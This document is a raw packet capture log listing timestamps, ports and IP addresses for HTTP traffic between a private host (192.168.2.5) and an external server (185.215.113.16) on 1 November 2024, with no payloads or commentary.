Nov 1, 2024 05:02:14.332653046 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.332667112 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.332674026 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.332699060 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.332731962 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.354815006 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.354850054 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.354863882 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.354918957 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.354947090 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.354988098 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.355003119 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.355020046 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.355041981 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.355081081 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.355259895 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.355273962 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.355288029 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.355302095 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.355344057 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.355344057 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.355560064 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.355573893 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.355587959 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.355604887 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.355613947 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.355631113 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.355665922 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.355896950 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.355912924 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.355947018 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.355971098 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.356053114 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.356065989 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.356089115 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.356103897 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.356106043 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.356117964 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.356127977 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.356132984 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.356148958 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.356152058 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.356165886 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.356175900 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.356215954 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.356810093 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.356823921 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.356837034 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.356853962 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.356868982 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.356874943 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.356889009 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.356893063 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.356909037 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.356923103 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.356925011 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.356937885 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.356952906 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.356955051 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.356967926 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.356983900 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.357007027 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.357630968 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.357645988 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.357661009 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.357688904 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.357709885 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.398056984 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.398124933 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.398132086 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.398140907 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.398166895 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.398189068 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.398194075 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.398236990 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.400593996 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.400629044 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.400643110 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.400659084 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.400681019 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.400758028 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.400774002 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.400798082 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.400834084 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.400983095 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.401027918 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.401050091 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.401066065 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.401079893 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.401093006 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.401113033 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.401135921 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.401333094 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.401350021 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.401364088 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.401377916 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.401377916 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.401396036 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.401402950 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.401443005 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.401806116 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.401853085 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.448195934 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.448241949 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.448257923 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.448278904 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.448309898 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.448483944 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.448501110 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.448523045 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.448539972 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.448582888 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.448860884 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.448875904 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.448890924 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.448906898 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.448915005 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.448925018 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.448941946 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.448962927 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.449008942 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.449495077 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.449510098 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.449525118 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.449539900 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.449548960 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.449556112 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.449613094 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.449632883 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.450095892 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.450110912 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.450125933 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.450140953 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.450153112 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.450159073 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.450175047 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.450177908 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.450191021 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.450206041 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.450223923 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.450259924 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.451069117 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.451086044 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.451101065 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.451121092 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.451122046 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.451138020 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.451153040 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.451168060 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.451169014 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.451184034 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.451199055 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.451206923 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.451214075 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.451239109 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.451280117 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.452100039 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.452116013 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.452131033 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.452147007 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.452161074 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.452176094 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.452177048 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.452192068 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.452207088 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.452208996 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.452222109 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.452235937 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.452256918 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.453056097 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.453072071 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.453087091 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.453102112 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.453110933 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.453116894 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.453130960 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.453134060 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.453150034 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.453165054 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.453174114 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.453182936 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.453221083 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.453243971 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.453967094 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.453990936 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.454005003 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.454022884 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.454031944 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.454039097 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.454051971 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.454056978 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.454087019 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.454118013 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.473917961 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.473977089 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.473984957 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.473999023 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.474028111 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.474066019 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.474086046 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.474101067 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.474119902 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.474126101 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.474148035 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.474204063 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.474411964 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.474425077 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.474447012 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.474462986 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.474473953 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.474476099 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.474499941 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.474535942 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.474716902 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.474761009 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.474776030 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.474782944 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.474792004 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.474812031 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.474827051 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.475145102 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.475164890 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.475179911 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.475228071 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.475459099 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.475475073 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.475490093 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.475505114 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.475512981 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.475522041 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.475536108 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.475550890 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.475559950 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.475568056 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.475591898 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.475615025 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.475642920 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.476268053 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.476283073 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.476298094 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.476313114 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.476332903 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.476346016 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.476350069 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.476356983 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.476361990 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.476377010 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.476377964 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.476394892 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.476394892 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.476412058 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.476430893 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.476468086 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.477133036 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.477148056 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.477186918 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.477210045 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.517095089 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.517158031 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.517170906 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.517177105 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.517210960 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.517232895 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.517261982 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.517303944 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.519694090 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.519747972 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.519752979 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.519768000 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.519790888 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.519812107 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.519892931 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.519907951 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.519937992 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.519962072 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.520051956 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.520066977 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.520107031 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.520251989 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.520267963 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.520282984 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.520296097 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.520306110 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.520335913 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.520524979 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.520539999 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.520553112 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.520576000 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.520598888 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.566175938 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.566190958 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.566205978 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.566261053 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.566310883 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.566885948 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.566910982 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.566925049 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.566941023 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.566971064 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.567085981 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.567102909 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.567133904 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.567162991 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.567327023 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.567352057 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.567367077 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.567375898 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.567382097 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.567398071 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.567399025 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.567425013 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.567461014 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.567770004 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.567783117 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.567795992 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.567811966 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.567820072 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.567831993 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.567831993 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.567847967 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.567857027 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.567881107 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.567898989 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.568298101 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.568311930 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.568325043 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.568340063 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.568352938 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.568357944 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.568371058 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.568387985 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.568392992 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.568424940 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.568890095 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.568905115 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.568919897 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.568934917 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.568942070 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.568954945 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.568979025 CET	59827	80	192.168.2.5	185.215.113.16
